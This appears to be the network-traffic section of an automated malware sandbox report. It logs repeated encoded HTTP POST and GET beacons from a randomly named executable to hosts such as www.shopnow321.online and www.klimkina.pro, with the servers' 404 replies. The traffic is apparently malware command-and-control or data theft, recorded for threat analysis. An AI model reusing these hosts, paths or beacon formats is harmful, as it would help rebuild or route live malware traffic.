                                Data Raw: 39 64 3d 33 37 70 30 35 5a 32 48 6a 6f 4d 6f 41 65 68 44 73 72 79 72 34 66 47 6b 71 2f 63 72 32 69 6c 56 31 4f 6d 50 36 78 6c 6b 6a 65 67 55 63 48 37 63 54 36 46 4c 77 72 76 52 5a 30 37 79 58 74 63 6c 4b 68 51 74 50 78 59 78 54 42 77 6b 53 61 79 65 49 53 30 7a 51 79 57 43 4a 72 75 36 42 71 78 5a 51 4a 74 4c 58 35 46 50 75 63 50 58 36 76 5a 46 39 54 64 37 58 35 63 64 6e 79 5a 72 53 58 51 34 7a 38 7a 75 66 73 63 47 44 67 38 34 5a 68 43 59 6e 34 35 35 4c 4e 48 65 79 77 6e 4d 76 42 48 31 63 36 4c 75 49 4b 51 77 6a 6c 47 2f 53 50 6d 37 41 5a 30 36 56 30 79 79 2f 45 4f 52 58 44 2f 72 42 6d 74 6b 6e 64 35 44 49 4f 78 70 4e 65 6e 6a 42 67 3d 3d
                                Data Ascii: 9d=37p05Z2HjoMoAehDsryr4fGkq/cr2ilV1OmP6xlkjegUcH7cT6FLwrvRZ07yXtclKhQtPxYxTBwkSayeIS0zQyWCJru6BqxZQJtLX5FPucPX6vZF9Td7X5cdnyZrSXQ4z8zufscGDg84ZhCYn455LNHeywnMvBH1c6LuIKQwjlG/SPm7AZ06V0yy/EORXD/rBmtknd5DIOxpNenjBg==
                                Jun 5, 2024 18:27:17.310480118 CEST1121INHTTP/1.1 404 Not Found
                                Date: Wed, 05 Jun 2024 16:27:17 GMT
                                Server: Apache
                                Upgrade: h2,h2c
                                Connection: Upgrade, close
                                Last-Modified: Mon, 03 Oct 2022 20:19:07 GMT
                                Accept-Ranges: bytes
                                Vary: Accept-Encoding
                                Content-Encoding: gzip
                                Content-Length: 836
                                Content-Type: text/html
                                Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ad 92 cd 6e db 46 10 c7 ef 05 f2 0e 1b 9e bd a2 65 45 1f 2e 48 01 a9 e3 3a bd 24 41 9b 00 ed a9 58 2d 47 e4 a0 bb 3b cc ee 90 92 fb 36 46 0e 05 0a f4 29 f4 62 5d da b2 4d 2a 4e 0b c7 39 50 9a e1 cc fc 66 fe 9c c9 9e bf 7a 7b f6 fe b7 77 e7 a2 62 6b 96 cf be cb ba 7f 61 94 2b f3 a4 66 f9 c3 cf 49 7c 29 44 56 81 2a ae ad 68 5b 60 25 74 a5 7c 00 ce 93 0f ef 7f 94 8b 64 10 ab 98 6b 09 1f 1b 6c f3 e4 57 f9 e1 a5 3c 23 5b 2b c6 95 81 44 68 72 0c 2e 16 fe 74 9e 43 51 c2 b0 d4 29 0b 79 d2 22 6c 6a f2 dc cb de 60 c1 55 5e 40 8b 1a e4 b5 73 24 d0 21 a3 32 32 68 65 20 1f 3f 44 5a 93 b7 8a 65 01 0c 9a 91 5c 8f c8 60 a0 ae c8 41 ee e8 a1 52 4f 2b e2 d0 2b 70 84 ae 80 ed 5d 2e 23 1b 58 be a6 50 43 a1 4a b0 a2 00 f1 0b 32 c4 0a 2b 5e 91 dd fd e3 90 c4 85 df 5d 31 06 21 45 cc e4 0b c5 e4 b3 f4 a6 74 cf 31 e8 fe 10 1e 4c 9e 84 2a 8a d6 0d 0b d4 dd a8 95 87 75 9e a4 ba 44 19 2e 43 8a 36 76 09 e9 5a b5 5d f8 ce 18 c5 9f e4 73 d6 63 10 72 72 32 aa 5d 99 88 80 7f 42 c8 93 c9 c9 76 72 f2 54 [TRUNCATED]
                                Data Ascii: nFeE.H:$AX-G;6F)b]M*N9Pfz{wbka+fI|)DV*h[`%t|dklW<#[+Dhr.tCQ)y"lj`U^@s$!22he ?DZe\`ARO++p].#XPCJ2+^]1!Et1L*uD.C6vZ]scrr2]BvrTt>`NlSCl{dd1F_r9>.,<Wum@25p| 8J8-*QXXD,B"^#n$uP"8|]nTqcmTj`pwis87r)VN1,''Le!rGYw_}"+K{!(QJtyzNy >6 owW\AbM(,X(ApJcs$4x5rnOLtaE+(lDcFYZUVu>M7b#Mv`dy:.@<#WJ:!C%hK]ZUBHly?e"AA4HQ_T4#9OFgX/=\^i8woghdk/f9


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                2192.168.2.749712162.241.2.254804300C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe
                                TimestampBytes transferredDirectionData
                                Jun 5, 2024 18:27:19.221756935 CEST737OUTPOST /41br/ HTTP/1.1
                                Host: www.shopnow321.online
                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                Accept-Encoding: gzip, deflate, br
                                Accept-Language: en-US,en;q=0.9
                                Connection: close
                                Content-Type: application/x-www-form-urlencoded
                                Cache-Control: no-cache
                                Content-Length: 235
                                Origin: http://www.shopnow321.online
                                Referer: http://www.shopnow321.online/41br/
                                User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
                                Data Raw: 39 64 3d 33 37 70 30 35 5a 32 48 6a 6f 4d 6f 42 2f 52 44 71 4b 79 72 39 2f 47 6e 6d 66 63 72 68 79 6c 52 31 4f 36 50 36 30 45 76 6a 6f 59 55 66 6d 4c 63 42 4f 52 4c 7a 72 76 52 42 45 37 7a 54 74 63 75 4b 68 55 6c 50 7a 63 78 54 46 59 6b 53 62 43 65 4c 68 63 79 51 69 57 45 42 4c 75 34 50 4b 78 5a 51 4a 74 4c 58 35 42 6c 75 63 48 58 39 65 70 46 38 32 70 34 55 35 63 65 33 53 5a 72 42 48 51 43 7a 38 7a 41 66 75 34 38 44 6b 4d 34 5a 6a 4b 59 6e 73 6c 36 42 4e 48 69 74 67 6e 59 76 69 57 50 62 2f 6d 64 48 6f 34 65 69 57 47 4f 58 35 37 5a 61 37 34 57 4c 6c 4b 4a 37 47 71 6e 41 6c 69 65 44 6e 70 38 71 2f 4e 69 58 35 55 44 41 4d 47 6e 58 66 78 77 54 33 6d 2b 49 59 4d 78 49 65 78 54 33 38 32 6f 46 46 59 3d
                                Data Ascii: 9d=37p05Z2HjoMoB/RDqKyr9/GnmfcrhylR1O6P60EvjoYUfmLcBORLzrvRBE7zTtcuKhUlPzcxTFYkSbCeLhcyQiWEBLu4PKxZQJtLX5BlucHX9epF82p4U5ce3SZrBHQCz8zAfu48DkM4ZjKYnsl6BNHitgnYviWPb/mdHo4eiWGOX57Za74WLlKJ7GqnAlieDnp8q/NiX5UDAMGnXfxwT3m+IYMxIexT382oFFY=
                                Jun 5, 2024 18:27:19.857146978 CEST1121INHTTP/1.1 404 Not Found
                                Date: Wed, 05 Jun 2024 16:27:19 GMT
                                Server: Apache
                                Upgrade: h2,h2c
                                Connection: Upgrade, close
                                Last-Modified: Mon, 03 Oct 2022 20:19:07 GMT
                                Accept-Ranges: bytes
                                Vary: Accept-Encoding
                                Content-Encoding: gzip
                                Content-Length: 836
                                Content-Type: text/html
                                Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ad 92 cd 6e db 46 10 c7 ef 05 f2 0e 1b 9e bd a2 65 45 1f 2e 48 01 a9 e3 3a bd 24 41 9b 00 ed a9 58 2d 47 e4 a0 bb 3b cc ee 90 92 fb 36 46 0e 05 0a f4 29 f4 62 5d da b2 4d 2a 4e 0b c7 39 50 9a e1 cc fc 66 fe 9c c9 9e bf 7a 7b f6 fe b7 77 e7 a2 62 6b 96 cf be cb ba 7f 61 94 2b f3 a4 66 f9 c3 cf 49 7c 29 44 56 81 2a ae ad 68 5b 60 25 74 a5 7c 00 ce 93 0f ef 7f 94 8b 64 10 ab 98 6b 09 1f 1b 6c f3 e4 57 f9 e1 a5 3c 23 5b 2b c6 95 81 44 68 72 0c 2e 16 fe 74 9e 43 51 c2 b0 d4 29 0b 79 d2 22 6c 6a f2 dc cb de 60 c1 55 5e 40 8b 1a e4 b5 73 24 d0 21 a3 32 32 68 65 20 1f 3f 44 5a 93 b7 8a 65 01 0c 9a 91 5c 8f c8 60 a0 ae c8 41 ee e8 a1 52 4f 2b e2 d0 2b 70 84 ae 80 ed 5d 2e 23 1b 58 be a6 50 43 a1 4a b0 a2 00 f1 0b 32 c4 0a 2b 5e 91 dd fd e3 90 c4 85 df 5d 31 06 21 45 cc e4 0b c5 e4 b3 f4 a6 74 cf 31 e8 fe 10 1e 4c 9e 84 2a 8a d6 0d 0b d4 dd a8 95 87 75 9e a4 ba 44 19 2e 43 8a 36 76 09 e9 5a b5 5d f8 ce 18 c5 9f e4 73 d6 63 10 72 72 32 aa 5d 99 88 80 7f 42 c8 93 c9 c9 76 72 f2 54 [TRUNCATED]
                                Data Ascii: nFeE.H:$AX-G;6F)b]M*N9Pfz{wbka+fI|)DV*h[`%t|dklW<#[+Dhr.tCQ)y"lj`U^@s$!22he ?DZe\`ARO++p].#XPCJ2+^]1!Et1L*uD.C6vZ]scrr2]BvrTt>`NlSCl{dd1F_r9>.,<Wum@25p| 8J8-*QXXD,B"^#n$uP"8|]nTqcmTj`pwis87r)VN1,''Le!rGYw_}"+K{!(QJtyzNy >6 owW\AbM(,X(ApJcs$4x5rnOLtaE+(lDcFYZUVu>M7b#Mv`dy:.@<#WJ:!C%hK]ZUBHly?e"AA4HQ_T4#9OFgX/=\^i8woghdk/f9


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                3192.168.2.749713162.241.2.254804300C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe
                                TimestampBytes transferredDirectionData
                                Jun 5, 2024 18:27:21.752670050 CEST1750OUTPOST /41br/ HTTP/1.1
                                Host: www.shopnow321.online
                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                Accept-Encoding: gzip, deflate, br
                                Accept-Language: en-US,en;q=0.9
                                Connection: close
                                Content-Type: application/x-www-form-urlencoded
                                Cache-Control: no-cache
                                Content-Length: 1247
                                Origin: http://www.shopnow321.online
                                Referer: http://www.shopnow321.online/41br/
                                User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
                                Data Raw: 39 64 3d 33 37 70 30 35 5a 32 48 6a 6f 4d 6f 42 2f 52 44 71 4b 79 72 39 2f 47 6e 6d 66 63 72 68 79 6c 52 31 4f 36 50 36 30 45 76 6a 72 34 55 66 55 7a 63 54 63 35 4c 79 72 76 52 49 6b 37 75 54 74 63 33 4b 6c 77 68 50 7a 42 4f 54 48 51 6b 53 35 4b 65 4f 51 63 79 65 69 57 45 4e 72 75 35 42 71 78 4d 51 4a 64 50 58 35 52 6c 75 63 48 58 39 63 68 46 31 44 64 34 59 5a 63 64 6e 79 5a 6e 53 58 52 4d 7a 2f 44 32 66 75 39 4c 44 31 77 34 5a 41 69 59 68 66 4e 36 4e 4e 48 6b 75 67 6d 66 76 69 61 71 62 2b 50 6d 48 6f 67 30 69 55 57 4f 58 2f 57 66 50 49 45 5a 55 45 65 2f 36 45 4f 78 4b 54 2b 76 45 42 35 78 6c 6f 39 47 65 72 38 70 4f 4f 57 57 52 76 34 6e 4c 46 71 73 46 62 41 62 47 2b 63 34 6d 75 53 59 53 67 67 52 64 31 5a 69 4c 31 7a 45 56 68 53 51 4e 41 2f 43 30 57 53 6b 45 4f 42 75 41 57 59 59 31 53 66 2f 4f 45 6e 4f 30 71 53 76 6d 70 68 50 70 4a 31 4d 67 77 46 72 75 45 65 77 32 51 43 64 53 6a 6b 75 72 78 33 44 49 6e 65 75 64 63 51 6d 62 2f 67 4f 52 39 68 39 31 6d 53 32 30 67 71 5a 34 56 4b 32 52 72 58 70 48 4b 72 [TRUNCATED]
                                Data Ascii: 9d=37p05Z2HjoMoB/RDqKyr9/GnmfcrhylR1O6P60Evjr4UfUzcTc5LyrvRIk7uTtc3KlwhPzBOTHQkS5KeOQcyeiWENru5BqxMQJdPX5RlucHX9chF1Dd4YZcdnyZnSXRMz/D2fu9LD1w4ZAiYhfN6NNHkugmfviaqb+PmHog0iUWOX/WfPIEZUEe/6EOxKT+vEB5xlo9Ger8pOOWWRv4nLFqsFbAbG+c4muSYSggRd1ZiL1zEVhSQNA/C0WSkEOBuAWYY1Sf/OEnO0qSvmphPpJ1MgwFruEew2QCdSjkurx3DIneudcQmb/gOR9h91mS20gqZ4VK2RrXpHKrOf5WAGFRvKuux0u+w8smCX6rr1pfIe4T6Io/9dadHY1hIFP2pXyb4SL99QbaAYVjm+/ldYoSnLgQgSrRTwFCSwGC8nltYGu0cPXVVSHe6KGtWPuxgq00LTbS4B8uKCkGNe9YMjmDLQbQ3TEuTIz0QELbSvVyNYV8yh70IOGC4sQk+Bh+782WWxOoCu6Skj7YWLkySe4Xy8whsKx1XiHI1pI6UWGhgHB24KLjuqfh4BDkJC3VQ8ZNAS01W5UXgQ0Q1LebN6m4Bc4SpyWONhPLCKdA56z8f6Pd/0vk2f0jbnckbVOI8OZCD7fPOV/O1+AuY58xky9p+mO9jvhXuijRezkbAicJak5sKtvImEJ5wi08ILcxpWp6cLI2ryuumGRUbNgFwBjJs7bw4FUkeaXWrdLi1fb3gdCToUOmK1M6DgZrxm7mmU05kv/f6vMk8LeuiZNVpSc1HWVZXPrOMDwxrMa9KulUdcfar696KfHg43gynyQM1fwu0MJ/2QJ7ZJaYmdkKdFNH5Y/mke1BQyD+VVPFOMfvHeXDLyMmP2N+1mKmNNXld7aOXz2endAv78Rlc8Rt94vzK/oM5fT9nzAwLFVt5IHpXVcT3X1HuPzX1pXLZn5gF0lw2elal8I3VdT8Nxr6Bj1GJ8ZUoqxObuOuCoTtxB+0er47OX [TRUNCATED]
                                Jun 5, 2024 18:27:22.385396004 CEST1121INHTTP/1.1 404 Not Found
                                Date: Wed, 05 Jun 2024 16:27:22 GMT
                                Server: Apache
                                Upgrade: h2,h2c
                                Connection: Upgrade, close
                                Last-Modified: Mon, 03 Oct 2022 20:19:07 GMT
                                Accept-Ranges: bytes
                                Vary: Accept-Encoding
                                Content-Encoding: gzip
                                Content-Length: 836
                                Content-Type: text/html
                                Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ad 92 cd 6e db 46 10 c7 ef 05 f2 0e 1b 9e bd a2 65 45 1f 2e 48 01 a9 e3 3a bd 24 41 9b 00 ed a9 58 2d 47 e4 a0 bb 3b cc ee 90 92 fb 36 46 0e 05 0a f4 29 f4 62 5d da b2 4d 2a 4e 0b c7 39 50 9a e1 cc fc 66 fe 9c c9 9e bf 7a 7b f6 fe b7 77 e7 a2 62 6b 96 cf be cb ba 7f 61 94 2b f3 a4 66 f9 c3 cf 49 7c 29 44 56 81 2a ae ad 68 5b 60 25 74 a5 7c 00 ce 93 0f ef 7f 94 8b 64 10 ab 98 6b 09 1f 1b 6c f3 e4 57 f9 e1 a5 3c 23 5b 2b c6 95 81 44 68 72 0c 2e 16 fe 74 9e 43 51 c2 b0 d4 29 0b 79 d2 22 6c 6a f2 dc cb de 60 c1 55 5e 40 8b 1a e4 b5 73 24 d0 21 a3 32 32 68 65 20 1f 3f 44 5a 93 b7 8a 65 01 0c 9a 91 5c 8f c8 60 a0 ae c8 41 ee e8 a1 52 4f 2b e2 d0 2b 70 84 ae 80 ed 5d 2e 23 1b 58 be a6 50 43 a1 4a b0 a2 00 f1 0b 32 c4 0a 2b 5e 91 dd fd e3 90 c4 85 df 5d 31 06 21 45 cc e4 0b c5 e4 b3 f4 a6 74 cf 31 e8 fe 10 1e 4c 9e 84 2a 8a d6 0d 0b d4 dd a8 95 87 75 9e a4 ba 44 19 2e 43 8a 36 76 09 e9 5a b5 5d f8 ce 18 c5 9f e4 73 d6 63 10 72 72 32 aa 5d 99 88 80 7f 42 c8 93 c9 c9 76 72 f2 54 [TRUNCATED]
                                Data Ascii: nFeE.H:$AX-G;6F)b]M*N9Pfz{wbka+fI|)DV*h[`%t|dklW<#[+Dhr.tCQ)y"lj`U^@s$!22he ?DZe\`ARO++p].#XPCJ2+^]1!Et1L*uD.C6vZ]scrr2]BvrTt>`NlSCl{dd1F_r9>.,<Wum@25p| 8J8-*QXXD,B"^#n$uP"8|]nTqcmTj`pwis87r)VN1,''Le!rGYw_}"+K{!(QJtyzNy >6 owW\AbM(,X(ApJcs$4x5rnOLtaE+(lDcFYZUVu>M7b#Mv`dy:.@<#WJ:!C%hK]ZUBHly?e"AA4HQ_T4#9OFgX/=\^i8woghdk/f9


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                4192.168.2.749714162.241.2.254804300C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe
                                TimestampBytes transferredDirectionData
                                Jun 5, 2024 18:27:24.286741018 CEST452OUTGET /41br/?G0a=VFN0vBc0ol1ljnb0&9d=65BU6tOk0p5LPOIIq5f29seWsrYdgC5c7tuB1xkwgoR5MWDkLOQgx5fJDEvOf4AlMkoVXixJXV15AbOmLh5rfhm5DYiSLYNIQJZpK4Rmnt3Mzv5831d4ZrhRkHRqInFW2dXaUcZHASEt HTTP/1.1
                                Host: www.shopnow321.online
                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                Accept-Language: en-US,en;q=0.9
                                Connection: close
                                User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
                                Jun 5, 2024 18:27:24.923527956 CEST1236INHTTP/1.1 404 Not Found
                                Date: Wed, 05 Jun 2024 16:27:24 GMT
                                Server: Apache
                                Upgrade: h2,h2c
                                Connection: Upgrade, close
                                Last-Modified: Mon, 03 Oct 2022 20:19:07 GMT
                                Accept-Ranges: bytes
                                Content-Length: 2361
                                Vary: Accept-Encoding
                                Content-Type: text/html
                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 48 6f 73 70 65 64 61 67 65 6d 20 64 65 20 53 [TRUNCATED]
                                Data Ascii: <!DOCTYPE html><html lang="pt-BR"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="format-detection" content="telephone=no"> <meta name="robots" content="noindex"> <title>Hospedagem de Site com Domnio Grtis - HostGator</title> <link rel="shortcut icon" href="/cgi-sys/images/favicons/favicon.ico"> <link rel="icon" href="/cgi-sys/images/favicons/favicon-32.png" sizes="32x32"> <link rel="icon" href="/cgi-sys/images/favicons/favicon-57.png" sizes="57x57"> <link rel="icon" href="/cgi-sys/images/favicons/favicon-76.png" sizes="76x76"> <link rel="icon" href="/cgi-sys/images/favicons/favicon-96.png" sizes="96x96"> <link rel="icon" href="/cgi-sys/images/favicons/favicon-128.png" sizes="128x128"> <link rel="shortcut icon" href="/cgi-sys/images/favicons/favicon-192.png" sizes="192x19
                                Jun 5, 2024 18:27:24.923547029 CEST1236INData Raw: 32 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 63 67 69 2d 73 79 73 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 73 2f 66 61 76 69 63 6f 6e 2d 31 32 30 2e 70
                                Data Ascii: 2"> <link rel="apple-touch-icon" href="/cgi-sys/images/favicons/favicon-120.png" sizes="120x120"> <link rel="apple-touch-icon" href="/cgi-sys/images/favicons/favicon-152.png" sizes="152x152"> <link rel="apple-touch-icon" href="/
                                Jun 5, 2024 18:27:24.923558950 CEST151INData Raw: 2d 73 79 73 2f 69 6d 61 67 65 73 2f 69 6c 6c 75 73 74 72 61 74 69 6f 6e 2d 34 30 34 2e 73 76 67 22 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 2d 78 73 20 69 6d 67 2d 72 65 73 70 6f 6e 73 69 76 65 20 22 20 61 6c 74 3d 22 69 6c 6c 75 73 74 72 61 74
                                Data Ascii: -sys/images/illustration-404.svg" class="hidden-xs img-responsive " alt="illustration"> </div> </div> </div> </body></html>


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                5192.168.2.749715185.137.235.103804300C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe
                                TimestampBytes transferredDirectionData
                                Jun 5, 2024 18:27:30.270272017 CEST702OUTPOST /4mpz/ HTTP/1.1
                                Host: www.klimkina.pro
                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                Accept-Encoding: gzip, deflate, br
                                Accept-Language: en-US,en;q=0.9
                                Connection: close
                                Content-Type: application/x-www-form-urlencoded
                                Cache-Control: no-cache
                                Content-Length: 215
                                Origin: http://www.klimkina.pro
                                Referer: http://www.klimkina.pro/4mpz/
                                User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
                                Data Raw: 39 64 3d 56 38 45 58 6f 32 66 38 74 5a 31 79 75 4e 64 70 48 66 30 65 4c 30 4a 2f 2f 34 69 52 44 31 63 77 4c 77 79 66 6e 54 54 46 79 54 55 42 37 36 43 68 75 2b 38 55 6f 50 2f 53 39 71 58 37 51 4f 41 38 62 30 65 6a 42 43 2b 37 69 31 2f 66 56 47 42 58 59 7a 63 7a 6c 42 72 6b 71 4e 56 62 79 69 43 4c 73 4c 71 64 57 6c 73 63 56 55 73 4f 76 66 2b 71 53 78 70 74 53 48 63 69 59 30 64 6e 70 6b 39 39 32 62 63 52 43 72 33 58 57 64 72 38 78 75 41 57 53 39 73 48 49 6b 4a 32 6e 66 51 44 75 33 65 51 74 43 34 74 39 71 72 53 6d 44 74 33 31 4e 73 6d 39 64 69 49 55 63 47 45 66 45 6b 6c 74 65 6d 66 51 4e 65 61 42 4c 67 63 41 78 72 4a 63 47 6c 75 36 77 3d 3d
                                Data Ascii: 9d=V8EXo2f8tZ1yuNdpHf0eL0J//4iRD1cwLwyfnTTFyTUB76Chu+8UoP/S9qX7QOA8b0ejBC+7i1/fVGBXYzczlBrkqNVbyiCLsLqdWlscVUsOvf+qSxptSHciY0dnpk992bcRCr3XWdr8xuAWS9sHIkJ2nfQDu3eQtC4t9qrSmDt31Nsm9diIUcGEfEkltemfQNeaBLgcAxrJcGlu6w==
                                Jun 5, 2024 18:27:31.207969904 CEST1236INHTTP/1.1 404 Not Found
                                Server: nginx/1.20.0
                                Date: Wed, 05 Jun 2024 16:26:40 GMT
                                Content-Type: text/html; charset=UTF-8
                                Transfer-Encoding: chunked
                                Connection: close
                                Set-Cookie: PHPSESSID5=6063b1254a94637c1a370261cc406f69; expires=Sat, 06-Jul-2024 16:27:31 GMT; Max-Age=2678400; path=/;Priority=High; domain=www.klimkina.pro; HttpOnly
                                Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                Cache-Control: no-store, no-cache, must-revalidate
                                Pragma: no-cache
                                Set-Cookie: dd_bdfhyr=9d1cd46e1270d926606b2039df3fa376; expires=Thu, 06-Jun-2024 16:27:31 GMT; Max-Age=86400; path=/; secure; HttpOnly
                                Server-version: 12
                                Content-Encoding: gzip
                                Data Raw: 35 34 64 0d 0a 1f 8b 08 00 00 00 00 00 04 03 a5 57 51 6f dc 44 10 7e be fb 15 53 f3 50 90 ba 76 d2 24 25 4d 7c 27 d1 36 40 51 11 08 ca 03 aa 2a b4 67 af cf 9b 5b ef ba de f5 5d 0e f1 40 5b 81 00 21 21 f1 ce 43 ff 41 8a 9a 42 4b 1b fe 82 fd 8f 98 5d fb 2e d7 e4 d2 94 f4 a4 3b 7b 77 67 66 67 66 bf f9 66 2f 8c f9 18 b4 99 0a d6 f3 72 1a c7 5c 0e 89 51 f9 16 ac af e4 7b 5e bf db 0d 03 94 c0 67 37 bc 70 e3 b3 eb b7 bf fe 7c 07 52 93 89 7e 37 b4 0f 10 54 0e 7b 1e 93 28 1a a6 8c c6 fd 2e e0 27 cc 98 a1 28 67 72 c2 ee 95 7c dc f3 ae 2b 69 98 34 e4 f6 34 67 1e 44 cd a8 e7 19 b6 67 02 6b 68 1b a2 94 16 9a 99 5e 69 12 b2 e9 41 d0 ef 76 42 c3 8d 60 fd 8f 98 b9 ae 4a 5c 04 02 3b 45 a1 0a b8 c1 12 5a 0a 13 06 8d 00 4a ba 0d 25 cd 30 8c 31 67 93 5c 15 66 61 9b 09 8f 4d da 8b d9 98 47 8c b8 c1 25 e0 92 1b 4e 05 d1 11 c5 e0 57 fd 15 1b 6d 27 bc 40 08 dc 52 d4 26 02 ae 29 65 b4 29 68 0e 84 58 77 04 97 23 48 0b 96 f4 bc 20 2f 07 82 47 41 22 a8 21 25 0f 06 33 d1 20 d2 fa 68 e4 e3 c8 83 82 89 9e e7 92 ac 53 c6 cc c9 8d [TRUNCATED]
                                Data Ascii: 54dWQoD~SPv$%M|'6@Q*g[]@[!!CABK].;{wgfgff/r\Q{^g7p|R~7T{(.'(gr|+i44gDgkh^iAvB`J\;EZJ%01g\faMG%NWm'@R&)e)hXw#H /GA"!%3 hS>D+-O3Z7~^=Q<eiNcy.,vSWR:Gtrv{Jg APB6A=|P4L}@P&e|%`h#Ap=x<7jtdj(LJ~w78`9Ug=N#TMF{%+d8z8P%HP-(7p_XNgQ
                                Jun 5, 2024 18:27:31.207988024 CEST765INData Raw: f0 b4 f0 8c 9c 11 a9 8a 0c 6b b4 65 a6 23 4b 2d 63 c5 5c e7 18 d9 16 0c 84 8a 46 db 00 4e a2 13 a6 6b 33 4e 9b 4b 70 89 d5 cb 48 2b d8 1a dc 82 35 a4 39 c7 75 db 30 50 45 cc 8a 2d d8 c4 19 ad 04 8f e1 9d b5 f5 f5 ab 1b 3b 5e bf fa bd 3a ac fe aa
                                Data Ascii: ke#K-c\FNk3NKpH+59u0PE-;^:^VW}pY}_fp(}S=Wz#Cq/Op.eu`g%!X{X=#/~C5`lH]9g F


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                6192.168.2.749716185.137.235.103804300C:\Program Files (x86)\jdRyKWmwNGLqUAxzbgMyHhSVQEBNjCyVpYAOhUIcfzFG\hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe
                                TimestampBytes transferredDirectionData
                                Jun 5, 2024 18:27:32.802828074 CEST722OUTPOST /4mpz/ HTTP/1.1
                                Host: www.klimkina.pro
                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                Accept-Encoding: gzip, deflate, br
                                Accept-Language: en-US,en;q=0.9
                                Connection: close
                                Content-Type: application/x-www-form-urlencoded
                                Cache-Control: no-cache
                                Content-Length: 235
                                Origin: http://www.klimkina.pro
                                Referer: http://www.klimkina.pro/4mpz/
                                User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
                                Data Raw: 39 64 3d 56 38 45 58 6f 32 66 38 74 5a 31 79 76 75 46 70 42 35 38 65 61 6b 4a 38 31 59 69 52 4e 56 63 30 4c 77 4f 66 6e 58 4c 76 79 6c 6b 42 37 59 61 68 74 2f 38 55 76 50 2f 53 36 61 57 2f 64 75 41 33 62 30 61 72 42 47 36 37 69 31 37 66 56 48 78 58 62 43 63 30 6b 52 72 69 69 74 56 46 73 53 43 4c 73 4c 71 64 57 6c 6f 32 56 55 30 4f 76 76 4f 71 64 30 64 75 52 48 63 74 49 45 64 6e 6a 30 38 32 32 62 63 4a 43 71 37 70 57 66 54 38 78 76 77 57 53 73 73 45 43 6b 4a 77 6f 2f 52 41 68 6b 50 35 71 69 73 58 38 4b 62 2f 6e 7a 68 62 30 37 78 45 6e 2f 75 6b 4b 4e 2b 2f 62 47 41 54 36 34 37 71 53 4d 61 43 4d 70 55 39 66 47 4f 6a 52 55 45 71 73 43 76 2f 62 68 58 45 74 6c 52 4f 4e 41 44 6b 58 6c 42 67 5a 57 4d 3d
